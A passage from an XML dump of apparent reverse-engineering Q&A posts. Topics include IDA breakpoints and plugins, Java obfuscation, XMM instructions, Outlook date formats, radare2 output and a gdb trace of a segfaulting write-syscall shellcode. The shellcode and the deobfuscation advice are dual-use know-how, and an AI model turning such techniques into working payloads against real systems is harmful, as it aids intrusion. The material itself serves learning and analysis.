be to return 0 from the condition expression), or if you only need one of the other actions.&lt;/li&gt;&#xA;&lt;li&gt;Trace: Adds a new entry to the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1444.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;trace log&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Refresh debugger memory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default IDA does not refresh the memory config before evaluating&#xA;    a breakpoint condition. This option enables the refresh.&#xA;    To refresh it [manually] call &lt;code&gt;refresh_debugger_memory()&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable tracing:&lt;br&gt;&#xA;Enable &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1629.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracing&lt;/a&gt; when the breakpoint hits. This is different from the trace action (where only a new entry is added to the trace log).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable tracing:&lt;br&gt;&#xA;Disable &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1629.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracing&lt;/a&gt; when the breakpoint fires.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tracing type:&lt;br&gt;&#xA;    &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1446.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Instruction&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1447.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Function&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1628.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic block&lt;/a&gt; level tracing types can be selected for breakpoints if enable or disable tracing action has been selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-05T12:30:59.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19266" PostTypeId="2" ParentId="19253" CreationDate="2018-09-05T12:41:05.463" Score="2" Body="&lt;p&gt;&lt;code&gt;_bittest&lt;/code&gt; is a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/h65k4tze.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;compiler intrinsic which maps to the &lt;code&gt;bt&lt;/code&gt; instruction&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Generates the &lt;code&gt;bt&lt;/code&gt; instruction, which examines the bit in position b of&#xA;  address a, and returns the value of that bit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char _bittest(  &#xA;   long const *a,  &#xA;   long b  &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-05T12:41:05.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19267" PostTypeId="1" AcceptedAnswerId="19269" CreationDate="2018-09-05T19:01:01.507" Score="1" ViewCount="191" Body="&lt;p&gt;Is there a plugin or option in IDA that interleavs the hex bytes for &#xA;each instruction similar to the output of &lt;code&gt;objdump&lt;/code&gt;? I.e. like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   1800035f1:   ff 15 19 5a 00 00       callq  *0x5a19(%rip)        # 0x180009010                          &#xA;   1800035f7:   45 8b c6                mov    %r14d,%r8d                                                  &#xA;   1800035fa:   48 8d 55 d7             lea    -0x29(%rbp),%rdx                                            &#xA;   1800035fe:   48 8d 4b 10             lea    0x10(%rbx),%rcx                                             &#xA;   180003602:   ff 15 b0 1c 00 00       callq  *0x1cb0(%rip)        # 0x1800052b8                          &#xA;   180003608:   48 8d 7d ef             lea    -0x11(%rbp),%rdi                                            &#xA;   18000360c:   41 8d 4e ff             lea    -0x1(%r14),%ecx                                             &#xA;   180003610:   49 3b c6                cmp    %r14,%rax                                                   &#xA;   180003613:   74 12                   je     0x180003627                                                 &#xA;   180003615:   33 c0                   xor    %eax,%eax                                                   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont want to switch to hex view.&lt;/p&gt;&#xA;" OwnerUserId="16938" LastActivityDate="2018-09-05T19:05:23.160" Title="IDA plugin to view hex bytes similar to objdump" Tags="|ida|objdump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19268" PostTypeId="2" ParentId="19259" CreationDate="2018-09-05T19:01:46.407" Score="1" Body="&lt;p&gt;There is a tool called &lt;code&gt;ReloX&lt;/code&gt; by MackT/uCF2000:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Purpose:&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;ReloX is a Win32 relocations rebuilder. It will create a .reloc section from different based images.&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;What does it need?&lt;/h2&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;At least 2 different based images of a module. The more you have images, the more your relocations will be reliable.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;h2&gt;Limitations&lt;/h2&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;It will only support 32 bits relocations of type (3). (IMAGE_REL_BASED_HIGHLOW : The fixup applies the delta to the 32-bit&#xA;  field at Offset)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At the time of writing, a copy seems to be available &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/ReloX&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-05T19:01:46.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19269" PostTypeId="2" ParentId="19267" CreationDate="2018-09-05T19:05:23.160" Score="3" Body="&lt;p&gt;There is no need for plugins. Just enter a non-zero value in &quot;Number of opcode bytes&quot;  in Options-General-... Disassembly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-05T19:05:23.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19270" PostTypeId="2" ParentId="15310" CreationDate="2018-09-06T08:24:49.887" Score="1" Body="&lt;p&gt;I prefer to use HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Debugger see more &lt;a href=&quot;https://blogs.msdn.microsoft.com/greggm/2005/02/21/inside-image-file-execution-options-debugging/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;To specify the debugger process, which starts as soon as the service process does. So that I'm able to set up the breakpoints at the very beginning.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-06T08:24:49.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19272" PostTypeId="1" AcceptedAnswerId="19388" CreationDate="2018-09-06T17:51:44.910" Score="0" ViewCount="2719" Body="&lt;p&gt;I'm trying to run an IDAPython &lt;a href=&quot;https://pastebin.com/e7KhFAWi&quot; rel=&quot;nofollow noreferrer&quot;&gt;script&lt;/a&gt; in IDA 7.1 on Windows 10 and it runs just fine when I run it from the &lt;code&gt;Script File...&lt;/code&gt; command, but if when I run it from the command line it isn't working properly. My command to run it from the command line is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ida64 -A -SC:\path\to\script\databaseAll.py C:\path\to\ELFexecutable\target0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open the file in the graphical interface first and pack the database, then it works from the command line in creating the database correctly, but otherwise it has a lot of information that's missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? How do you properly run a script from the command line?&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2018-09-18T16:01:43.167" Title="IDAPython Script works from &quot;Script File&quot; but not when run with -S from Terminal" Tags="|ida|windows|idapython|script|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19274" PostTypeId="1" AcceptedAnswerId="19278" CreationDate="2018-09-06T20:01:07.097" Score="7" ViewCount="714" Body="&lt;p&gt;Application security engineer here. When we compile our java code, we obfuscate it using KlassMaster and have it remove line numbers &lt;em&gt;(see &lt;a href=&quot;https://www.zelix.com/klassmaster/featuresLineNumberScrambling.html&quot; rel=&quot;noreferrer&quot;&gt;KlassMaster docs&lt;/a&gt;)&lt;/em&gt; because of a handwavy explanation &quot;it makes reverse engineering harder&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to fact-check that this is actually increasing reverse-engineering difficulty enough to warrant the amount of dev time that's wasted trying to debug useless stack traces.&lt;/p&gt;&#xA;" OwnerUserId="12807" LastActivityDate="2018-09-07T01:40:34.170" Title="Why do obfuscators remove line numbers, and can I safely leave them in?" Tags="|obfuscation|java|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19275" PostTypeId="1" AcceptedAnswerId="19279" CreationDate="2018-09-06T22:18:21.207" Score="2" ViewCount="2845" Body="&lt;p&gt;I'm trying to convert some x86 assembly back into C++, and I cannot figure out how this set of instructions was originally written.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movd xmm0,eax ; byte read from device '0x04'&#xA;cvtdq2pd xmm0,xmm0 ; convert packed to double?&#xA;shr eax,0x1F ; highest bit&#xA;addsd xmm0,qword ptr ds:[eax*8+0x4F6CC0] ; global [0, 4294967296] if I read it right&#xA;cvtpd2ps xmm0,xmm0 ; double to packed?&#xA;movss dword ptr ds:[ebx+0x34],xmm0 ; store the result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried various forms of casting &lt;code&gt;float&lt;/code&gt; and &lt;code&gt;double&lt;/code&gt; to other data types on &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compiler Explorer&lt;/a&gt; but I cannot find anything that reproduces the &lt;code&gt;cvtdq2pd&lt;/code&gt; and &lt;code&gt;cvtpd2ps&lt;/code&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the above code look like in c/c++ and what is the resulting data type?&lt;/p&gt;&#xA;" OwnerUserId="25311" LastActivityDate="2018-09-07T08:29:29.440" Title="XMM register instructions and their c equivalents" Tags="|x86|float|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19277" PostTypeId="2" ParentId="19274" CreationDate="2018-09-07T00:02:24.947" Score="2" Body="&lt;p&gt;The KlassMaster docs actually summarize the reason why fairly well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since the class &lt;code&gt;com.mycompany.c&lt;/code&gt; will typically have been obfuscated to contain many overloaded methods with the names &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt;, diagnosing the problem and reproducing the bug will be very time consuming for your developers and very frustrating for your customers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They provide a stacktrace below this summary. I'll focus on these four lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;at com.mycompany.c.a(c.java)&#xA;at com.mycompany.c.a(c.java)&#xA;at com.mycompany.c.b(c.java)&#xA;at com.mycompany.c.a(c.java)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly in these stacktrace elements the class is always the same &lt;code&gt;c&lt;/code&gt;, but what about the method? Lines 1, 2, and 4 give the method name of &lt;code&gt;a&lt;/code&gt; but the issue is that you cannot be sure if these all point to the same method due the name overloading &lt;em&gt;(multiple methods with the same name but different return / parameter types)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where line-numbers come in. Since you are a developer with source-code access you can easily jump to the line number that the stacktrace provides. An attacker will not have the source-code but they can just as easily look at the class's bytecode to make a table that associates different line numbers with their methods &lt;em&gt;(and more specifically, where in the method bytecode the issue occured)&lt;/em&gt;. This would allow them to bypass the purpose of name overloading since they can lookup what method is associated with a line in any given stacktrace element. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to remove line-numbers then an attacker cannot take any given stacktrace element and instantly know what method it links to. The attacker's best option in this case would be to start at a known position in the stacktrace and manually follow the bytecode to determine which of the overloaded methods is being shown in the stacktrace.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If decompilation is your highest priority concern rather than a situation like the above, then you should keep the debug information for your sake. Java decompilers can produce fairly accurate code even on obfuscated assemblies regardless of whether debug information is included or not. &lt;/p&gt;&#xA;" OwnerUserId="20336" LastActivityDate="2018-09-07T00:02:24.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19278" PostTypeId="2" ParentId="19274" CreationDate="2018-09-07T01:40:34.170" Score="7" Body="&lt;p&gt;Stripping line numbers has a minimal impact on the difficulty of reverse engineering code. If it is causing you problems, I would recommend disabling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Col-E's answer is a red herring because it is fairly easy for a reverse engineer to insert synthetic line numbers into the bytecode to disambiguate stack traces (assuming they don't just rename the methods in the first place). These obviously won't match the original source code line numbers, but if all you want is a way to disambiguate stack traces, that is easy to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TamusJRoyce's answer is also mistaken. Javac does not do the sort of optimizations that GCC does, which is why unobfuscated Java can be decompiled so cleanly. The only notable optimization I know of that Javac does at compile time is inlining and simplifying constant expressions.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-09-07T01:40:34.170" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19279" PostTypeId="2" ParentId="19275" CreationDate="2018-09-07T01:41:55.463" Score="9" Body="&lt;p&gt;You likely won't get an exact reproduction because &lt;code&gt;cvtdq2pd&lt;/code&gt; takes the lower 64 bits of the second operand but since we're limited to 32 bits because we're using &lt;code&gt;eax&lt;/code&gt; here, there are probably better(?) instructions to use.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cvtsi2sd xmm0, eax&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;will do the same thing as&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;movd xmm0,eax&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cvtdq2pd xmm0,xmm0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;See here &lt;a href=&quot;https://www.felixcloutier.com/x86/CVTDQ2PD.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.felixcloutier.com/x86/CVTDQ2PD.html&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.felixcloutier.com/x86/CVTSI2SD.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.felixcloutier.com/x86/CVTSI2SD.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So really what it's doing is converting a 32 bit &lt;strong&gt;signed&lt;/strong&gt; integer value into a double precision floating point.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Onto your actual question:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cvtpd2ps xmm0,xmm0 ; double to packed?&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;CVTPD2PS xmm1, xmm2/m128&lt;/p&gt;&#xA;&lt;p&gt;Convert two packed double-precision floating-point values in xmm2/mem to two single-precision floating-point values in xmm1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This will pack the two double precision floats at &lt;code&gt;xmm0[0:63]&lt;/code&gt; &amp;amp; &lt;code&gt;xmm0[64:127]&lt;/code&gt; into the lower 64 bits of &lt;code&gt;xmm0&lt;/code&gt;, converting them from double to single precision floating point values (&lt;code&gt;xmm0[0:31]&lt;/code&gt; &amp;amp; &lt;code&gt;xmm0[32:63]&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.felixcloutier.com/x86/CVTPD2PS.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.felixcloutier.com/x86/CVTPD2PS.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So if the lower 64 bits of &lt;code&gt;xmm0&lt;/code&gt; represented a &lt;code&gt;double&lt;/code&gt;, it's now been converted to a 32 bit float, which now sits in the lower 32 bits of &lt;code&gt;xmm0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;movss dword ptr ds:[ebx+0x34],xmm0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MOVSS xmm2/m32, xmm1&lt;/p&gt;&#xA;&lt;p&gt;Move scalar single-precision floating-point value from xmm1 register to xmm2/m32.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now stores the 4 byte result from &lt;code&gt;xmm0[0:31]&lt;/code&gt; into &lt;code&gt;[ebx+0x34]&lt;/code&gt;, which we know is a single precision &lt;code&gt;float&lt;/code&gt; from the result of the &lt;code&gt;cvtpd2ps&lt;/code&gt; operation.&lt;/p&gt;&#xA;&lt;p&gt;So the result of this operation is a 32 bit &lt;code&gt;float&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.felixcloutier.com/x86/MOVSS.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.felixcloutier.com/x86/MOVSS.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This code here should be a reasonable approximation. &lt;a href=&quot;https://gcc.godbolt.org/z/0mi2_9&quot; rel=&quot;noreferrer&quot;&gt;In Godbolt&lt;/a&gt; it gives me similar assembly to what you have.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;double* d_arr = (double*)0x4F6CC0;&#xA;&#xA;int main() {&#xA;&#xA;    int in = 4;&#xA;    int signbit = ((unsigned int)in &amp;gt;&amp;gt; 31);&#xA;    float result = *(double*)(d_arr + signbit) + in;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Conclusion:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;cvtdq2pd&lt;/code&gt; &amp;amp; &lt;code&gt;cvtpd2ps&lt;/code&gt; are too powerful for what's actually being calculated here. Unless I'm reading this totally wrong, the upper 64 bits of &lt;code&gt;xmm0&lt;/code&gt; are never relevant to the result.&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer:&lt;/p&gt;&#xA;&lt;p&gt;I've never used floating point assembly before. I just looked up the docs now. I could be missing something.&lt;/p&gt;&#xA;" OwnerUserId="25462" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-09-07T08:29:29.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19280" PostTypeId="1" AcceptedAnswerId="19281" CreationDate="2018-09-07T04:23:32.683" Score="5" ViewCount="398" Body="&lt;p&gt;I'm looking at the OLK files created by Outlook for Mac, and these appear to be the date fields, but I cannot figure out what kind of binary dates they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 values in one file (reversed from LE):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE1: 41 C0 A0 72 E7 F5 F6 A9&#xA;DATE2: 41 C0 A0 72 E9 2B 82 BA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of these apparently decodes to Thu, 06 Sep 2018 00:34:23 -0400, but I can't figure out how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These don't appear to be any of the Windows FileTime or OLE formats, and it isn't any of the Mac formats that I've seen before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;41 BB 67 A9 0A 00 00 00 --&amp;gt; 7/28/2015 12:11:54 UTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25578" LastActivityDate="2018-09-07T05:20:06.043" Title="What kind of date stamp is this?" Tags="|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19281" PostTypeId="2" ParentId="19280" CreationDate="2018-09-07T05:13:07.650" Score="7" Body="&lt;p&gt;It's a 64 bit floating point value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here: &lt;a href=&quot;https://developer.apple.com/documentation/foundation/nsdate&quot; rel=&quot;noreferrer&quot;&gt;https://developer.apple.com/documentation/foundation/nsdate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Returns a &lt;code&gt;TimeInterval&lt;/code&gt; which happens to be &lt;code&gt;typealias TimeInterval = Double&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://developer.apple.com/documentation/foundation/timeinterval&quot; rel=&quot;noreferrer&quot;&gt;https://developer.apple.com/documentation/foundation/timeinterval&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As in the source above, the epoch here is seconds from Jan 1 2001. But it's stored as a float.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;41 BB 67 A9 0A 00 00 00&lt;/code&gt; is about &lt;code&gt;459778314&lt;/code&gt; seconds which is &lt;code&gt;Jul 28 2015, 12:11:54 PM&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;41 C0 A0 72 E7 F5 F6 A9&lt;/code&gt; is about &lt;code&gt;557901263&lt;/code&gt; which is &lt;code&gt;Sep 6 2018, 6:34:23 AM UTC&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;41 C0 A0 72 E9 2B 82 BA&lt;/code&gt; is about &lt;code&gt;557901266&lt;/code&gt; which is &lt;code&gt;Sep 6 2018, 6:34:26 AM UTC&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25462" LastEditorUserId="25462" LastEditDate="2018-09-07T05:20:06.043" LastActivityDate="2018-09-07T05:20:06.043" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19282" PostTypeId="1" AcceptedAnswerId="19284" CreationDate="2018-09-07T06:29:37.493" Score="2" ViewCount="100" Body="&lt;p&gt;In &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the MegaBeets tutorial, &lt;em&gt;&quot;A journey into Radare 2 – Part 1: Simple crackme&quot;&lt;/em&gt;&lt;/a&gt; the authors &lt;code&gt;iz&lt;/code&gt; has,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vaddr=0x08048700 paddr=0x00000700 ordinal=000 sz=21 len=20 section=.rodata type=ascii string=\n .:: Megabeets ::.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Etc, However, my &lt;code&gt;iz&lt;/code&gt; shows only,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000 0x00000a44 0x5647c37a7a44  20  21 (.rodata) ascii \n  .:: Megabeets ::.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the extra information, namely the &lt;code&gt;keys=value&lt;/code&gt; format?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-31T02:58:50.393" LastActivityDate="2018-10-31T03:02:37.677" Title="Headers for `iz` and such in key=value format?" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19283" PostTypeId="1" CreationDate="2018-09-07T07:12:03.457" Score="1" ViewCount="410" Body="&lt;p&gt;I am trying to use write system call shellcode in assembly but when i run it i am getting a segmentation fault. I did debug it and its because of the call instruction which is having a random address in instruction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jamesbond008@jamesbond008-VirtualBox:~/Desktop/buffer-overflow-exploit-detect-prevent$ gdb -q ./test_write&#xA;Reading symbols from ./test_write...(no debugging symbols found)...done.&#xA;(gdb) run&#xA;Starting program: /home/jamesbond008/Desktop/buffer-overflow-exploit-detect-prevent/test_write &#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x6d4ca060 in ?? ()&#xA;(gdb) disass main&#xA;Dump of assembler code for function main:&#xA;   0x080483db &amp;lt;+0&amp;gt;: lea    ecx,[esp+0x4]&#xA;   0x080483df &amp;lt;+4&amp;gt;: and    esp,0xfffffff0&#xA;   0x080483e2 &amp;lt;+7&amp;gt;: push   DWORD PTR [ecx-0x4]&#xA;   0x080483e5 &amp;lt;+10&amp;gt;:    push   ebp&#xA;   0x080483e6 &amp;lt;+11&amp;gt;:    mov    ebp,esp&#xA;   0x080483e8 &amp;lt;+13&amp;gt;:    push   ecx&#xA;   0x080483e9 &amp;lt;+14&amp;gt;:    sub    esp,0x14&#xA;   0x080483ec &amp;lt;+17&amp;gt;:    mov    DWORD PTR [ebp-0xc],0x804a040&#xA;   0x080483f3 &amp;lt;+24&amp;gt;:    mov    eax,DWORD PTR [ebp-0xc]&#xA;   0x080483f6 &amp;lt;+27&amp;gt;:    call   eax&#xA;   0x080483f8 &amp;lt;+29&amp;gt;:    mov    eax,0x0&#xA;   0x080483fd &amp;lt;+34&amp;gt;:    add    esp,0x14&#xA;   0x08048400 &amp;lt;+37&amp;gt;:    pop    ecx&#xA;   0x08048401 &amp;lt;+38&amp;gt;:    pop    ebp&#xA;   0x08048402 &amp;lt;+39&amp;gt;:    lea    esp,[ecx-0x4]&#xA;   0x08048405 &amp;lt;+42&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;(gdb) x/25i $eax&#xA;   0x8040000:   Cannot access memory at address 0x8040000&#xA;(gdb) x/25i 0x804a040&#xA;   0x804a040 &amp;lt;shellcode&amp;gt;:   xor    ax,ax&#xA;   0x804a043 &amp;lt;shellcode+3&amp;gt;: xor    bx,bx&#xA;   0x804a046 &amp;lt;shellcode+6&amp;gt;: xor    cx,cx&#xA;   0x804a049 &amp;lt;shellcode+9&amp;gt;: xor    dx,dx&#xA;   0x804a04c &amp;lt;shellcode+12&amp;gt;:    jmp    0x804a04e &amp;lt;shellcode+14&amp;gt;&#xA;   0x804a04e &amp;lt;shellcode+14&amp;gt;:    call   0x6d4ca060     #random address  should be 0x804a060&#xA;   0x804a053 &amp;lt;shellcode+19&amp;gt;:    ins    BYTE PTR es:[edi],dx&#xA;   0x804a054 &amp;lt;shellcode+20&amp;gt;:    ins    BYTE PTR es:[edi],dx&#xA;   0x804a055 &amp;lt;shellcode+21&amp;gt;:    outs   dx,DWORD PTR ds:[esi]&#xA;   0x804a056 &amp;lt;shellcode+22&amp;gt;:    sub    al,0x20&#xA;   0x804a058 &amp;lt;shellcode+24&amp;gt;:    ja     0x804a0c9&#xA;   0x804a05a &amp;lt;shellcode+26&amp;gt;:    jb     0x804a0c8&#xA;   0x804a05c &amp;lt;shellcode+28&amp;gt;:    and    DWORD PTR fs:[esi+0x59],esp&#xA;   0x804a060 &amp;lt;shellcode+32&amp;gt;:    mov    bl,0x1&#xA;   0x804a062 &amp;lt;shellcode+34&amp;gt;:    mov    dl,0xd&#xA;   0x804a064 &amp;lt;shellcode+36&amp;gt;:    mov    al,0x4&#xA;   0x804a066 &amp;lt;shellcode+38&amp;gt;:    int    0x80&#xA;   0x804a068 &amp;lt;shellcode+40&amp;gt;:    dec    bl&#xA;   0x804a06a &amp;lt;shellcode+42&amp;gt;:    mov    al,0x1&#xA;   0x804a06c &amp;lt;shellcode+44&amp;gt;:    int    0x80&#xA;   0x804a06e &amp;lt;shellcode+46&amp;gt;:    add    BYTE PTR [eax],al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i get the right address in &lt;code&gt;call&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="25580" LastEditorUserId="245" LastEditDate="2018-09-07T08:17:20.890" LastActivityDate="2018-09-07T08:17:20.890" Title="random address in call instruction" Tags="|shellcode|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
